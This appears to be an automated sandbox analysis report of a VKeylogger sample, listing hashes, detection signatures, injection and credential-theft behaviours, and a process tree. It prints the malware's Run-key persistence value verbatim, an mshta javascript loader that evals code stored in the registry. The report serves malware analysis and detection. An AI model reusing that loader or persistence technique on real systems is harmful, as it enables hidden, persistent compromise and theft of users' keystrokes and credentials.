Analysis
- max time kernel
161s - max time network
163s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
21/02/2022, 11:04
Static task
static1
Behavioral task
behavioral1
Sample
57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe
Resource
win10v2004-en-20220112
windows10-2004_x64
0 signatures
0 seconds
General
- Target 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe
- Size 74KB
- Sample220221-m6ewvsaghp
- SHA256 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965
- MD5 ba4380237e7a0f220deaaada1fddff73
- SHA1 394b852855574cffa26a66bec083792a21f87f79
- SHA512 5e70426b3547020f93c62764f418ff7d475f4bf772130b056f33884e7b155b9675a4af292b356bd9897c5e6c665488989d7400dfb452d8544d1252b3e3798142
- MD5 SHA1 SHA512
Malware Config
Signatures
- VKeylogger
A keylogger first seen in Nov 2020.
- VKeylogger Payload 1 IoCs
resource yara_rule behavioral2/memory/720-130-0x0000000002F20000-0x0000000002F32000-memory.dmp family_vkeylogger - suricata: ET MALWARE Generic -POST To gate.php w/Extended ASCII Characters (Likely Zeus Derivative)
suricata: ET MALWARE Generic -POST To gate.php w/Extended ASCII Characters (Likely Zeus Derivative)
- suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
suricata: ET MALWARE Generic Request to gate.php Dotted-Quad
- suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
suricata: ET MALWARE Trojan Generic - POST To gate.php with no accept headers
- suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
suricata: ET MALWARE Trojan Generic - POST To gate.php with no referer
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
pid Process 3416 415.exe - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\grerg = "C:\\Users\\Admin\\AppData\\Local\\Temp\\57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe" explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yrty = "C:\\Windows\\system32\\mshta.exe javascript:x=new%20ActiveXObject(\"wscript.shell\");v=x.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\SMSvcHost\\\\ComponentID\");eval(v);" explorer.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3576 set thread context of 720 3576 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe 58 PID 3416 set thread context of 2668 3416 415.exe 77 - Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat svchost.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz MusNotifyIcon.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MusNotifyIcon.exe - Modifies data under HKEY_USERS 50 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4204" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4096" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "3852" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.000000" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.038911" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132900915450116603" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "0" svchost.exe Set value (str) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.429490" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0" svchost.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2668 ielowutil.exe 2668 ielowutil.exe - Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 3576 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe 720 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe Token: SeRestorePrivilege 796 TiWorker.exe Token: SeSecurityPrivilege 796 TiWorker.exe Token: SeBackupPrivilege 796 TiWorker.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 720 explorer.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 720 explorer.exe 3416 415.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 3576 wrote to memory of 720 3576 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe 58 PID 3576 wrote to memory of 720 3576 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe 58 PID 3576 wrote to memory of 720 3576 57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe 58 PID 720 wrote to memory of 3416 720 explorer.exe 75 PID 720 wrote to memory of 3416 720 explorer.exe 75 PID 720 wrote to memory of 3416 720 explorer.exe 75 PID 3416 wrote to memory of 3632 3416 415.exe 76 PID 3416 wrote to memory of 3632 3416 415.exe 76 PID 3416 wrote to memory of 3632 3416 415.exe 76 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77 PID 3416 wrote to memory of 2668 3416 415.exe 77
Processes
-
C:\Users\Admin\AppData\Local\Temp\57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe"C:\Users\Admin\AppData\Local\Temp\57df82d0e4547407bdca25692313c2a95b07438991c4cfd44a85d85e5976a965.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"2⤵
- Adds Run key to start application
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:720 -
C:\Users\Admin\AppData\Local\Temp\415.exe"C:\Users\Admin\AppData\Local\Temp\415.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3416 -
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe"4⤵PID:3632
-
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2668
-
-
-
-
C:\Windows\system32\MusNotifyIcon.exe%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 131⤵
- Checks processor information in registry
PID:408
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:3820
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:796